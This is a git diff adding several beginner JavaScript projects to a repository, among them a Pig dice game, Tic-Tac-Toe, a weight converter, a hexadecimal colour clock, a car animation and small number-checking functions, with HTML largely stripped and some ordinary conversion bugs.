    + + + + \ No newline at end of file diff --git a/JS/Gamble Game/pig-game-flowchart.png b/JS/Gamble Game/pig-game-flowchart.png new file mode 100644 index 000000000..2e51a84f3 Binary files /dev/null and b/JS/Gamble Game/pig-game-flowchart.png differ diff --git a/JS/Gamble Game/script.js b/JS/Gamble Game/script.js new file mode 100644 index 000000000..d009b461c --- /dev/null +++ b/JS/Gamble Game/script.js @@ -0,0 +1,117 @@ +'use strict'; + +// Selecting elements +const name0Player = document.querySelector('#name--0'); +const name1Player = document.querySelector('#name--1'); +const bidBtn = document.querySelector('.bid-btn'); +const player0El = document.querySelector('.player--0'); +const player1El = document.querySelector('.player--1'); +const score0El = document.querySelector('#score--0'); +const score1El = document.querySelector('#score--1'); +const current0El = document.getElementById('current--0'); +const current1El = document.getElementById('current--1'); +const diceEl = document.querySelector('.dice'); +const btnNew = document.querySelector('.btn--new'); +const btnRoll = document.querySelector('.btn--roll'); +const btnHold = document.querySelector('.btn--hold'); +const overlay = document.querySelector('.overlay'); +const modal = document.querySelector('.modal'); +const closeModal = document.querySelector('.close-modal'); + +// Modals Implementation + +const modalClose = function () { + modal.classList.add('hidden'); + overlay.classList.add('hidden'); +}; + +closeModal.addEventListener('click', modalClose); + +bidBtn.addEventListener('click', function () { + name0Player.textContent = document.querySelector('#player-name-0').value; + name1Player.textContent = document.querySelector('#player-name-1').value; + + modalClose(); +}); + +//Starting conditions +score0El.textContent = 0; +score1El.textContent = 0; +diceEl.classList.add('hidden'); + +let scores = [0, 0]; +let currentScore = 0; +let activePlayer = 0; + +const switchPlayer = function () { + document.getElementById(`current--${activePlayer}`).textContent = 0; + player0El.classList.toggle('player--active'); //Remove class if it's there otherwise it'll add + player1El.classList.toggle('player--active'); + activePlayer = activePlayer === 0 ? 1 : 0; + currentScore = 0; +}; + +// Rollinf=g dice functionality +btnRoll.addEventListener('click', function () { + // 1. Generating a random dice roll + const dice = Math.ceil(Math.random() * 6); + + // 2. Display dice + diceEl.classList.remove('hidden'); + diceEl.src = `dice-${dice}.png`; + + // 3. Check for rolled 1: if true, switch to next player + if (dice !== 1) { + // Add dice to current score + currentScore += dice; + document.getElementById(`current--${activePlayer}`).textContent = + currentScore; + } else { + // Switch Player + switchPlayer(); + } +}); + +btnHold.addEventListener('click', function () { + // 1. Add curent score to active player score + scores[activePlayer] += currentScore; + document.querySelector(`#score--${activePlayer}`).textContent = + scores[activePlayer]; + + // 2. Player Won + if (scores[activePlayer] >= 100) { + document + .querySelector(`.player--${activePlayer}`) + .classList.add('player--winner'); + document + .querySelector(`.player--${activePlayer}`) + .classList.remove('player--active'); + btnHold.style.visibility = 'hidden'; + btnRoll.classList.add('hidden'); + diceEl.classList.add('hidden'); + } else { + // 3. Switch Player + switchPlayer(); + } +}); + +// We can use playing = true and put btnRoll function inside if and when somebody wins change playing = false +// Then there will be no need to change visibility of buttons + +btnNew.addEventListener('click', function () { + btnHold.style.visibility = 'visible'; + btnRoll.classList.remove('hidden'); + player0El.classList.remove('player--winner'); + player1El.classList.remove('player--winner'); + player0El.classList.add('player--active'); + player1El.classList.remove('player--active'); + score0El.textContent = 0; + score1El.textContent = 0; + current0El.textContent = 0; + current1El.textContent = 0; + //If you want to implement whichever player won last should start game then + //just remove activePlayer = 0 + activePlayer = 0; + currentScore = 0; + scores = [0, 0]; +}); diff --git a/JS/Gamble Game/style.css b/JS/Gamble Game/style.css new file mode 100644 index 000000000..cf7692b25 --- /dev/null +++ b/JS/Gamble Game/style.css @@ -0,0 +1,236 @@ +@import url('https://fonts.googleapis.com/css2?family=Nunito&display=swap'); + +* { + margin: 0; + padding: 0; + box-sizing: inherit; +} + +html { + font-size: 62.5%; + box-sizing: border-box; +} + +body { + font-family: 'Nunito', sans-serif; + font-weight: 400; + height: 100vh; + color: #333; + background-image: linear-gradient(to top left, #753682 0%, #bf2e34 100%); + display: flex; + align-items: center; + justify-content: center; +} + +/* LAYOUT */ +main { + position: relative; + width: 100rem; + height: 60rem; + background-color: rgba(255, 255, 255, 0.35); + backdrop-filter: blur(200px); + filter: blur(); + box-shadow: 0 3rem 5rem rgba(0, 0, 0, 0.25); + border-radius: 9px; + overflow: hidden; + display: flex; +} + +.player { + flex: 50%; + padding: 9rem; + display: flex; + flex-direction: column; + align-items: center; + transition: all 0.75s; +} + +/* ELEMENTS */ +.name { + position: relative; + font-size: 4rem; + text-transform: uppercase; + letter-spacing: 1px; + word-spacing: 2px; + font-weight: 300; + margin-bottom: 1rem; +} + +.score { + font-size: 8rem; + font-weight: 300; + color: #c7365f; + margin-bottom: auto; +} + +.player--active { + background-color: rgba(255, 255, 255, 0.4); +} +.player--active .name { + font-weight: 700; +} +.player--active .score { + font-weight: 400; +} + +.player--active .current { + opacity: 1; +} + +.current { + background-color: #c7365f; + opacity: 0.8; + border-radius: 9px; + color: #fff; + width: 65%; + padding: 2rem; + text-align: center; + transition: all 0.75s; +} + +.current-label { + text-transform: uppercase; + margin-bottom: 1rem; + font-size: 1.7rem; + color: #ddd; +} + +.current-score { + font-size: 3.5rem; +} + +/* ABSOLUTE POSITIONED ELEMENTS */ +.btn { + position: absolute; + left: 50%; + transform: translateX(-50%); + color: #444; + background: none; + border: none; + font-family: inherit; + font-size: 1.8rem; + text-transform: uppercase; + cursor: pointer; + font-weight: 400; + transition: all 0.2s; + + background-color: white; + background-color: rgba(255, 255, 255, 0.6); + backdrop-filter: blur(10px); + + padding: 0.7rem 2.5rem; + border-radius: 50rem; + box-shadow: 0 1.75rem 3.5rem rgba(0, 0, 0, 0.1); +} + +.btn::first-letter { + font-size: 2.4rem; + display: inline-block; + margin-right: 0.7rem; +} + +.btn--new { + top: 4rem; +} +.btn--roll { + top: 39.3rem; +} +.btn--hold { + top: 46.1rem; +} + +.btn:active { + transform: translate(-50%, 3px); + box-shadow: 0 1rem 2rem rgba(0, 0, 0, 0.15); +} + +.btn:focus { + outline: none; +} + +.dice { + position: absolute; + left: 50%; + top: 16.5rem; + transform: translateX(-50%); + height: 10rem; + box-shadow: 0 2rem 5rem rgba(0, 0, 0, 0.2); +} + +.player--winner { + background-color: #2f2f2f; +} + +.player--winner .name { + font-weight: 700; + color: #c7365f; +} + +.hidden { + display: none; +} + +/* Content for modal added below */ +.close-modal { + position: absolute; + top: 1.2rem; + right: 2rem; + font-size: 5rem; + color: #333; + cursor: pointer; + border: none; + background: none; +} + +h1 { + font-size: 2.5rem; + margin-bottom: 2rem; + text-align: center; +} + +p { + font-size: 1.8rem; +} + +/* --------------------- */ +/* CLASSES TO MAKE MODAL WORK */ + +.modal { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + width: 40%; + + background-color: white; + padding: 6rem; + border-radius: 5px; + box-shadow: 0 3rem 5rem rgba(0, 0, 0, 0.3); + z-index: 10; +} + +.overlay { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-color: rgba(0, 0, 0, 0.8); + backdrop-filter: blur(3px); + z-index: 5; +} + +.player-names { + text-align: center; +} + +.name-field { + padding: 10px; + margin: 5px 0px; + border-radius: 50px; +} + +.bid-btn { + padding: 5px 20px; + border-radius: 20px; +} diff --git a/JS/Tic-Tac-Toe Game/CSS/style.css b/JS/Tic-Tac-Toe Game/CSS/style.css new file mode 100644 index 000000000..f4b76df3e --- /dev/null +++ b/JS/Tic-Tac-Toe Game/CSS/style.css @@ -0,0 +1,146 @@ +* { + box-sizing: border-box; + margin: 0; +} + +body { + font-family: "Merriweather Sans", sans-serif; + color: #4c6986; + +} + +.title { + max-width: 500px; +} + +.wrapper { + max-width: 1440px; + height: 800px; + display: flex; + align-items: center; + justify-content: space-between; + margin: 0 auto; + padding: 40px; + +} + +.h1 { + font-size: 70px; + font-weight: bold; +} + +.restart { + width: 175px; + height: 50px; + display: flex; + justify-content: center; + align-items: center; + border-radius: 50px; + border: 2px solid #4c6986; + transition: all 0.2s ease; + cursor: pointer; + font-weight: bold; + margin-top: 30px; +} + + +.restart:hover { + background: #4c6986; + color: white; +} + +.game { + display: flex; + flex-direction: column; + width: 500px; + height: 500px; + +} + +.header { + display: flex; + color: #9a9a9a; + font-size: 24px; +} + + +.header .player-X { + flex:1; + border-bottom: 5px solid #eee; + padding-bottom: 8px; +} + +.player-X.active { + color: #42BED7; + border-color: #42BED7; +} + + +.header .player-O { + flex: 1; + border-bottom: 5px solid #eee; + padding-bottom: 8px; +} + +.player-O.active { + color: #D7BAFB; + border-color:#D7BAFB ; +} + + + + +.board { + display: grid; + grid-template-columns: repeat(3, 1fr); + grid-template-rows: repeat(3, 1fr); + grid-gap: 1px; + flex-grow: 1; + padding: 10px; +} + +.board-tile { + display: flex; + justify-content: center; + align-items: center; + font-size: 80px; + background: white; + cursor: pointer; +} + +.board-tile:not(:nth-child(3n)) { + border-right: 3px solid gray; +} + + +.board-tile:not(:nth-last-child(-n+3)) { + border-bottom: 3px solid gray; +} + +.board-tile:hover { + background: #eee; +} + +.tile-x { + color: #42BED7; + +} + +.tile-o { + color: #D7BAFB; +} + +.tile-winner span{ + color: #23CE6B; +} + +@media only screen and (max-width: 1200px) { + .wrapper { + flex-direction: column; + + } + + .left { + margin-bottom: 50px; + } +} \ No newline at end of file diff --git a/JS/Tic-Tac-Toe Game/JS/Game.js b/JS/Tic-Tac-Toe Game/JS/Game.js new file mode 100644 index 000000000..c6143911b --- /dev/null +++ b/JS/Tic-Tac-Toe Game/JS/Game.js @@ -0,0 +1,69 @@ +export default class Game { + + + constructor(){ + this.turn = "X"; + this.board = new Array(9).fill(null) + } + + nextTurn(){ + if(this.turn == "X") { + this.turn = "O"; + } else { + this.turn = "X"; + } + } + + + makeMove(i){ + + if(this.endOfGame()){ + return; + } + + if(this.board[i]){ + return; + } + this.board[i] = this.turn; + let winningCombination = this.findWinningCombinations(); + if(!winningCombination){ + this.nextTurn(); + } + + } + findWinningCombinations() { + const winningCombinations = [ + [0,1,2], + [3,4,5], + [6,7,8], + [0,3,6], + [1,4,7], + [2,5,8], + [0,4,8], + [6,4,2] + ] + + for(const combination of winningCombinations) { + const[a,b,c] = combination; + + if(this.board[a] && + (this.board[a] === this.board[b] && this.board[a] === this.board[c])) { + return combination; + } + + } + return null; + + } + + endOfGame(){ + let winningCombination = this.findWinningCombinations(); + if(winningCombination){ + return true; + } else { + return false; + } + } + + +} \ No newline at end of file diff --git a/JS/Tic-Tac-Toe Game/JS/GameView.js b/JS/Tic-Tac-Toe Game/JS/GameView.js new file mode 100644 index 000000000..6ab2b9fdd --- /dev/null +++ b/JS/Tic-Tac-Toe Game/JS/GameView.js @@ -0,0 +1,38 @@ +export default class GameView { + + + updateBoard(game){ + this.updateTurn(game); + const winningCombination = game.findWinningCombinations(); + for(let i = 0; i < game.board.length; i++) { + const tile = document.querySelector(`.board-tile[data-index='${i}']`); + + tile.classList.remove("tile-winner"); + + let tileType = game.board[i] == 'X' ? "tile-x" : "tile-o"; + + tile.innerHTML = `${game.board[i] ? game.board[i] : ""}` + + if(winningCombination && winningCombination.includes(i)){ + tile.classList.add("tile-winner"); + } + + } + + } + + updateTurn(game) { + let playerX = document.querySelector(".player-X") + let playerO = document.querySelector(".player-O"); + playerX.classList.remove("active"); + playerO.classList.remove("active"); + + if (game.turn == 'X') { + playerX.classList.add('active'); + } else { + playerO.classList.add('active'); + } + + } + +} \ No newline at end of file diff --git a/JS/Tic-Tac-Toe Game/JS/main.js b/JS/Tic-Tac-Toe Game/JS/main.js new file mode 100644 index 000000000..956849adc --- /dev/null +++ b/JS/Tic-Tac-Toe Game/JS/main.js @@ -0,0 +1,32 @@ +import Game from "./Game.js" +import GameView from "./GameView.js" + + +let game = new Game(); +let gameView = new GameView(); + +document.querySelector(".restart") +.addEventListener("click", () => { + onRestartClick(); +}) + +let tiles = document.querySelectorAll(".board-tile"); +tiles.forEach((tile) => { + tile.addEventListener("click", () => { + onTileClick(tile.dataset.index); + }) +}) + + +function onTileClick(i){ + //do somthing + game.makeMove(i); + gameView.updateBoard(game); +} + +function onRestartClick() { + game = new Game(); + gameView.updateBoard(game); +} + +gameView.updateBoard(game); \ No newline at end of file diff --git a/JS/Tic-Tac-Toe Game/index.html b/JS/Tic-Tac-Toe Game/index.html new file mode 100644 index 000000000..8e5e3070f --- /dev/null +++ b/JS/Tic-Tac-Toe Game/index.html @@ -0,0 +1,49 @@ + + + + + + + Document + + + +
    +
    +
    +

    + Let's play
    + the Tic-Tac-Toe Game! +

    +
    +
    + Start a New Game +
    +
    +
    +
    +
    +
    + player X +
    +
    + player O +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + \ No newline at end of file diff --git a/JS/UglyNumber.js b/JS/UglyNumber.js new file mode 100644 index 000000000..11d293e99 --- /dev/null +++ b/JS/UglyNumber.js @@ -0,0 +1,11 @@ +var isUgly = function(num) { + if(num<=0) return false; + while(parseInt(num/2)===num/2) { num/=2; } // using the fact that + while(parseInt(num/3)===num/3) { num/=3; } // multiplication is commutative, + while(parseInt(num/5)===num/5) { num/=5; } // hence the order doesn't matter + return num===1; +}; +console.log(isUgly(1)); +console.log(isUgly(14)); +console.log(isUgly(6)); +console.log(isUgly(100)); \ No newline at end of file diff --git a/JS/Weight Converter/app.js b/JS/Weight Converter/app.js new file mode 100644 index 000000000..75e335102 --- /dev/null +++ b/JS/Weight Converter/app.js @@ -0,0 +1,108 @@ + + +const gmInput = document.getElementById("gramInput"); +const poundInput = document.getElementById("poundInput"); +const ounceInput = document.getElementById("ounceInput"); +const kgInput = document.getElementById("kgInput"); + +const input = document.getElementById("input"); + +const poundSelect = document.getElementById("poundSelect"); +const kgSelect = document.getElementById("kgSelect"); +const gmSelect = document.getElementById("gramSelect"); +const ounceSelect = document.getElementById("ounceSelect"); + +select = document.getElementById("select"); +// inputs = document.querySelectorAll(".inputs"); + +//Events + +input.addEventListener("input", myResult); +select.addEventListener("change", myResult); + +//For Pound +card = document.getElementById("card"); +card.style.visibility = "hidden"; + +input.addEventListener("keyup", () => { + card.style.visibility = "visible"; +}); + +function myResult() { + if (select.value === "pound") { + poundSelect.style.display = "none"; + kgSelect.style.display = "block"; + gmSelect.style.display = "block"; + ounceSelect.style.display = "block"; + if (input.value === "") { + inputsFunction(); + } else { + forPounds(); + } + } else if (select.value === "kg") { + input.placeholder = "Enter The Number in Kg"; + kgSelect.style.display = "none"; + gmSelect.style.display = "block"; + poundSelect.style.display = "block"; + ounceSelect.style.display = "block"; + if (input.value === "") { + inputsFunction(); + } else { + poundInput.textContent = `${input.value}kg is ${input.value * 2}pounds`; + ounceInput.textContent = `${input.value}kg is ${ + input.value * 35.2739619 + } ounce`; + gmInput.textContent = `${input.value}kg is ${input.value * 1000}gm`; + } + } else if (select.value === "gram") { + input.placeholder = "Enter The Number in gram"; + gmSelect.style.display = "none"; + kgSelect.style.display = "block"; + poundSelect.style.display = "block"; + ounceSelect.style.display = "block"; + if (input.value === "") { + inputsFunction(); + } else { + poundInput.textContent = `${input.value}gm is ${ + input.value * 0.0022046226 + }pounds`; + ounceInput.textContent = `${input.value}gm is ${ + input.value * 0.0352739619 + }ounces`; + kgInput.textContent = `${input.value}gm is ${input.value * 1000}kg`; + } + } else { + input.placeholder = "Enter The Number in Ounce"; + ounceSelect.style.display = "none"; + gmSelect.style.display = "block"; + poundSelect.style.display = "block"; + kgSelect.style.display = "block"; + if (input.value === "") { + inputsFunction(); + } else { + poundInput.textContent = `${input.value}ounce is ${ + input.value * 0.0625 + }pounds`; + kgInput.textContent = `${input.value}ounce is ${ + input.value * 0.0283495231 + }kg`; + gmInput.textContent = `${input.value}ounce is ${ + input.value / 28.3495321 + }gm`; + } + } +} + +function inputsFunction() { + inputs.forEach((input) => { + input.textContent = ""; + }); +} + +function forPounds() { + kgInput.textContent = `${input.value} pounds is ${ + input.value * 0.45359237 + }kg`; + ounceInput.textContent = `${input.value} pounds is ${input.value * 16}ounces`; + gmInput.textContent = `${input.value} pounds is ${input.value * 453.59237}gm`; +} diff --git a/JS/Weight Converter/index.html b/JS/Weight Converter/index.html new file mode 100644 index 000000000..dbc9961da --- /dev/null +++ b/JS/Weight Converter/index.html @@ -0,0 +1,51 @@ + + + + + + Weight Converter + + + +
    +
    +
    +

    Weight Converter

    +
    + + +
    +
    +
    + Kilogram +
    +
    + +
    + Pound +
    +
    +
    + Ounce +
    +
    +
    + Gram +
    +
    +
    +
    +
    +
    + + + diff --git a/JS/Weight Converter/style.css b/JS/Weight Converter/style.css new file mode 100644 index 000000000..5c98f49ff --- /dev/null +++ b/JS/Weight Converter/style.css @@ -0,0 +1,64 @@ +*, +*::before, +*::after { + padding: 0; + margin: 0; + box-sizing: border-box; +} + +section { + display: flex; + height: 100vh; + align-items: center; + justify-content: center; +} + +.container { + display: flex; + align-items: center; + justify-content: center; + background-color: black; + color: white; +} + +.wrapper { + padding: 1em 2em 4em; +} +h1 { + font-size: 3rem; + margin-bottom: 0.3em; + text-align: center; +} + +form { + display: flex; + width: 100%; + background: white; + justify-content: space-between; +} + +input { + outline: none; + border: none; + width: 80%; + height: 2em; +} + +select { + height: 2em; + outline: none; + border: none; +} +.selects:nth-child(1), +.selects:nth-child(2) { + margin-top: 0.5em; +} +.selects { + background: white; + color: black; + font-weight: 900; + margin-bottom: 0.5em; + min-height: 50px; + font-size: 1.3rem; + padding-left: 0.3em; +} diff --git a/JS/findMaximumProfit.js b/JS/findMaximumProfit.js new file mode 100644 index 000000000..1a264ad67 --- /dev/null +++ b/JS/findMaximumProfit.js @@ -0,0 +1,28 @@ +// Provided an arr which contains the stock price per day, find the price to buy and price to sell such that max profit is achieved. +// Input arr = [2,10,1,3] +// Ouput = [2,10] -> max profit of 8. + +const arr = [2, 10, 1, 3]; + +function findBuySellPrice(arr) { + let buyPrice = arr[0] < arr[1] ? arr[0] : arr[1]; + let sellPrice = arr[0] > arr[1] ? arr[0] : arr[1]; + + for (let i = 2; i < arr.length; i++) { + if (buyPrice > arr[i]) { + if (i < arr.indexOf(buyPrice)) { + buyPrice = arr[i]; + } + } + if (sellPrice < arr[i]) { + if (i > arr.indexOf(sellPrice)) { + sellPrice = arr[i]; + } + } + } + let maxProfit = sellPrice - buyPrice; + return [buyPrice, sellPrice, maxProfit]; +} + +console.log(findBuySellPrice(arr)); +// Output: [ 2, 10, 8 ] diff --git a/JS/hexclock/README.md b/JS/hexclock/README.md new file mode 100644 index 000000000..433e7ac50 --- /dev/null +++ b/JS/hexclock/README.md @@ -0,0 +1,4 @@ +# Hexclock +This clock converts the current time into a hexadecimal value which is then used as a color value for the background color. + +A demo can be found [here](https://www.svenjung.me/hexclock/). diff --git a/JS/hexclock/android-chrome-192x192.png b/JS/hexclock/android-chrome-192x192.png new file mode 100644 index 000000000..bdcc85d3f Binary files /dev/null and b/JS/hexclock/android-chrome-192x192.png differ diff --git a/JS/hexclock/android-chrome-512x512.png b/JS/hexclock/android-chrome-512x512.png new file mode 100644 index 000000000..c429d23c3 Binary files /dev/null and b/JS/hexclock/android-chrome-512x512.png differ diff --git a/JS/hexclock/apple-touch-icon.png b/JS/hexclock/apple-touch-icon.png new file mode 100644 index 000000000..1f15ab320 Binary files /dev/null and b/JS/hexclock/apple-touch-icon.png differ diff --git a/JS/hexclock/browserconfig.xml b/JS/hexclock/browserconfig.xml new file mode 100644 index 000000000..a47e5a5b8 --- /dev/null +++ b/JS/hexclock/browserconfig.xml @@ -0,0 +1,9 @@ + + + + + + #2d89ef + + + diff --git a/JS/hexclock/css/main.css b/JS/hexclock/css/main.css new file mode 100644 index 000000000..954b7b8aa --- /dev/null +++ b/JS/hexclock/css/main.css @@ -0,0 +1,23 @@ +body { + color: white; + left: 50%; + position: fixed; + text-align: center; + top: 50%; + transform: translate(-50%, -50%); +} + +#clock { + font-family: 'Roboto', sans-serif; + font-size: 10vw; +} + +#hex-color { + font-family: 'Roboto', sans-serif; + font-size: 3vw; +} + +#about { + font-family: 'Lato', sans-serif; + font-size: 2vw; +} \ No newline at end of file diff --git a/JS/hexclock/css/minireset.min.css b/JS/hexclock/css/minireset.min.css new file mode 100644 index 000000000..e206d6b39 --- /dev/null +++ b/JS/hexclock/css/minireset.min.css @@ -0,0 +1,81 @@ +/*! minireset.css v0.0.3 | MIT License | github.com/jgthms/minireset.css */ +html, +body, +p, +ol, +ul, +li, +dl, +dt, +dd, +blockquote, +figure, +fieldset, +legend, +textarea, +pre, +iframe, +hr, +h1, +h2, +h3, +h4, +h5, +h6 { + margin: 0; + padding: 0; +} + +h1, +h2, +h3, +h4, +h5, +h6 { + font-size: 100%; + font-weight: normal; +} + +ul { + list-style: none; +} + +button, +input, +select, +textarea { + margin: 0; +} + +html { + box-sizing: border-box; +} + +*, *:before, *:after { + box-sizing: inherit; +} + +img, +embed, +iframe, +object, +audio, +video { + height: auto; + max-width: 100%; +} + +iframe { + border: 0; +} + +table { + border-collapse: collapse; + border-spacing: 0; +} + +td, +th { + padding: 0; + text-align: left; +} \ No newline at end of file diff --git a/JS/hexclock/favicon-16x16.png b/JS/hexclock/favicon-16x16.png new file mode 100644 index 000000000..af4c3033f Binary files /dev/null and b/JS/hexclock/favicon-16x16.png differ diff --git a/JS/hexclock/favicon-32x32.png b/JS/hexclock/favicon-32x32.png new file mode 100644 index 000000000..950a9da69 Binary files /dev/null and b/JS/hexclock/favicon-32x32.png differ diff --git a/JS/hexclock/favicon.ico b/JS/hexclock/favicon.ico new file mode 100644 index 000000000..9ceab7d34 Binary files /dev/null and b/JS/hexclock/favicon.ico differ diff --git a/JS/hexclock/index.html b/JS/hexclock/index.html new file mode 100644 index 000000000..138bfef9a --- /dev/null +++ b/JS/hexclock/index.html @@ -0,0 +1,30 @@ + + + + + Hexclock + + + + + + + + + + + + + +

    +
    +

    +
    +
    +

    + This clock changes the current time into a + hexadecimal color value which is then used + as a background color. +

    + + \ No newline at end of file diff --git a/JS/hexclock/js/main.js b/JS/hexclock/js/main.js new file mode 100644 index 000000000..faa4a656e --- /dev/null +++ b/JS/hexclock/js/main.js @@ -0,0 +1,32 @@ +var clock = document.getElementById('clock'); +var hexColor = document.getElementById('hex-color'); + +function hexClock() { + var time = new Date(); + var hours = time.getHours().toString(); + var minutes = time.getMinutes().toString(); + var seconds = time.getSeconds().toString(); + + if(hours.length < 2) { + hours = '0' + hours; + } + + if(minutes.length < 2) { + minutes = '0' + minutes; + } + + if(seconds.length < 2) { + seconds = '0' + seconds; + } + + var clockStr = hours + ' : ' + minutes + ' : ' + seconds; + var hexColorStr = '#' + hours + minutes + seconds; + + clock.textContent = clockStr; + hexColor.textContent = hexColorStr; + + document.body.style.backgroundColor = hexColorStr; +} + +hexClock(); +setInterval(hexClock, 1000); \ No newline at end of file diff --git a/JS/hexclock/mstile-150x150.png b/JS/hexclock/mstile-150x150.png new file mode 100644 index 000000000..9f6603578 Binary files /dev/null and b/JS/hexclock/mstile-150x150.png differ diff --git a/JS/hexclock/safari-pinned-tab.svg b/JS/hexclock/safari-pinned-tab.svg new file mode 100644 index 000000000..1bc19e4eb --- /dev/null +++ b/JS/hexclock/safari-pinned-tab.svg @@ -0,0 +1,27 @@ + + + + +Created by potrace 1.11, written by Peter Selinger 2001-2013 + + + + + diff --git a/JS/hexclock/site.webmanifest b/JS/hexclock/site.webmanifest new file mode 100644 index 000000000..b20abb7cb --- /dev/null +++ b/JS/hexclock/site.webmanifest @@ -0,0 +1,19 @@ +{ + "name": "", + "short_name": "", + "icons": [ + { + "src": "/android-chrome-192x192.png", + "sizes": "192x192", + "type": "image/png" + }, + { + "src": "/android-chrome-512x512.png", + "sizes": "512x512", + "type": "image/png" + } + ], + "theme_color": "#ffffff", + "background_color": "#ffffff", + "display": "standalone" +} diff --git a/JS/isHappyNumber.js b/JS/isHappyNumber.js new file mode 100644 index 000000000..01c96bf2d --- /dev/null +++ b/JS/isHappyNumber.js @@ -0,0 +1,18 @@ +var isHappy = function(n) { + var seen = {}; + while (n !== 1 && !seen[n]) { + seen[n] = true; + n = sumOfSquares(n); + } + return n === 1 ? true : false; +}; + +function sumOfSquares(numString) { + return numString.toString().split('').reduce(function(sum, num) { + return sum + Math.pow(num, 2); + }, 0); +} +console.log(isHappy(1)); +console.log(isHappy(2)); +console.log(isHappy(10)); +console.log(isHappy(100)); \ No newline at end of file diff --git a/JS/isInt.js b/JS/isInt.js new file mode 100644 index 000000000..e604b0dfb --- /dev/null +++ b/JS/isInt.js @@ -0,0 +1,6 @@ +function isInt(num) { + return Number.isInteger(num) +} + +console.log(isInt(9)) +console.log(isInt(11)) \ No newline at end of file diff --git a/JS/isObj.js b/JS/isObj.js new file mode 100644 index 000000000..de7b9f040 --- /dev/null +++ b/JS/isObj.js @@ -0,0 +1,7 @@ +function isObj(obj) { + return typeof obj === "object" +} + +console.log(isObj({ + a: 100 +})) diff --git a/JS/isPerfectSquare.js b/JS/isPerfectSquare.js new file mode 100644 index 000000000..230bfe2bd --- /dev/null +++ b/JS/isPerfectSquare.js @@ -0,0 +1,7 @@ +function isPerfectSquare(num) { + return Number.isInteger(Math.sqrt(num)) +} + +console.log(isPerfectSquare(9)) +console.log(isPerfectSquare(12)) +console.log(isPerfectSquare(15)) \ No newline at end of file diff --git a/JS/moving_car_animation/Img_02.png b/JS/moving_car_animation/Img_02.png new file mode 100644 index 000000000..064446466 Binary files /dev/null and b/JS/moving_car_animation/Img_02.png differ diff --git a/JS/moving_car_animation/Img_05.png b/JS/moving_car_animation/Img_05.png new file mode 100644 index 000000000..9314ef8cb Binary files /dev/null and b/JS/moving_car_animation/Img_05.png differ diff --git a/JS/moving_car_animation/Img_06.png b/JS/moving_car_animation/Img_06.png new file mode 100644 index 000000000..4ff7d6442 Binary files /dev/null and b/JS/moving_car_animation/Img_06.png differ diff --git a/JS/moving_car_animation/Img_1.png b/JS/moving_car_animation/Img_1.png new file mode 100644 index 000000000..bf3a19dd7 Binary files /dev/null and b/JS/moving_car_animation/Img_1.png differ diff --git a/JS/moving_car_animation/Readme.md b/JS/moving_car_animation/Readme.md new file mode 100644 index 000000000..738de957f --- /dev/null +++ b/JS/moving_car_animation/Readme.md @@ -0,0 +1 @@ +### Moving Car animtion in JS \ No newline at end of file diff --git a/JS/moving_car_animation/car.html b/JS/moving_car_animation/car.html new file mode 100644 index 000000000..bfb78f1d0 --- /dev/null +++ b/JS/moving_car_animation/car.html @@ -0,0 +1,30 @@ + + + + + + + Moving Car Animation + + + + +
    +
    + Enter:- Start/Stop car
    + W:- Turn On/Off headlights
    + 1/2:- Play/Pause Lofi music +
    +
    +
    + +
    +
    + + + + \ No newline at end of file diff --git a/JS/moving_car_animation/car.js b/JS/moving_car_animation/car.js new file mode 100644 index 000000000..73133d030 --- /dev/null +++ b/JS/moving_car_animation/car.js @@ -0,0 +1,39 @@ +$(document).ready(function(){ + $surface=$('.surface'); + $car=$('.car'); + $img=$('.car img'); + $song=$('#mySong'); + let flag = true; + + const cars=['Img_05.png', 'Img_06.png']; + + $(document).on('keypress',function(f){ + if(f.which == 13){ + $($surface).toggleClass('movement'); + $($car).toggleClass('carmove'); + } + }) + $(document).on('keypress',function(f){ + if(f.which == 119){ + if(flag){ + flag=false; + $img.attr('src',cars[0]); + } + else{ + flag=true; + $img.attr('src',cars[1]); + } + } + }) + document.addEventListener('keydown', function(e) { + if (e.keyCode == 49) { + document.getElementById('audio').play(); + } + if (e.keyCode == 50) { + document.getElementById('audio').pause(); + } + }) + + + +}); \ No newline at end of file diff --git a/JS/moving_car_animation/song.mp3 b/JS/moving_car_animation/song.mp3 new file mode 100644 index 000000000..cab5d7896 Binary files /dev/null and b/JS/moving_car_animation/song.mp3 differ diff --git a/JS/moving_car_animation/style.css b/JS/moving_car_animation/style.css new file mode 100644 index 000000000..90cdf4bc6 --- /dev/null +++ b/JS/moving_car_animation/style.css @@ -0,0 +1,65 @@ +@import url('https://fonts.googleapis.com/css2?family=Kiwi+Maru:wght@400;500&display=swap'); +body{ + margin:0; + background-image: linear-gradient(to top, #1e3c72 0%, #1e3c72 1%, #2a5298 100%); + overflow-y: hidden; +} +.night{ + height: 80vh; + width: 70vw; + margin: 5rem auto; + background: url(Img_1.png); + background-size: cover; + position: relative; + box-shadow: 1px 2px 60px rgba(0,0,0,0.4); + overflow-x: hidden; +} +#instruction{ + position: absolute; + font-size: large; + font-family: 'Kiwi Maru', serif; + background: transparent; + color: darkgray; + left: 1%; + top: 1%; + box-shadow: 1px 2px 60px rgba(0,0,0,0.4); +} +.surface{ + height: 140px; + width: 500%; + background: url(Img_02.png); + display: block; + position: absolute; + bottom: 0%; + left: 0%; + background-repeat: repeat-x; +} + +.car{ + position: absolute; + bottom: 8.5%; + left: 25%; + +} +@keyframes movement{ + 100%{ + transform:translateX(-2950px); + } +} +@keyframes carmove{ + 100%{ + transform:translateY(-1px); + } + 50%{ + transform: translateY(2px); + } + 0%{ + transform: translateY(-1px); + } +} +.movement{ + animation: movement 8s linear infinite; +} +.carmove{ + animation: carmove 1s linear infinite; +} \ No newline at end of file diff --git a/JS/rock_paper_scissor/game.m4a b/JS/rock_paper_scissor/game.m4a new file mode 100644 index 000000000..f85e48f86 Binary files /dev/null and b/JS/rock_paper_scissor/game.m4a differ diff --git a/JS/rock_paper_scissor/image.png b/JS/rock_paper_scissor/image.png new file mode 100644 index 000000000..162852f66 Binary files /dev/null and b/JS/rock_paper_scissor/image.png differ diff --git a/JS/rock_paper_scissor/index.html b/JS/rock_paper_scissor/index.html new file mode 100644 index 000000000..c4fcd7c16 --- /dev/null +++ b/JS/rock_paper_scissor/index.html @@ -0,0 +1,57 @@ + + + + + + + Rock-Paper-Scissors Game + + + + + + + + + + + + + + + + +
    +
    +

    + image Rock-Paper-Scissor +

    +
    +
    +
    +

    Press Play Button to start

    +
    +
    +
    +
    + +
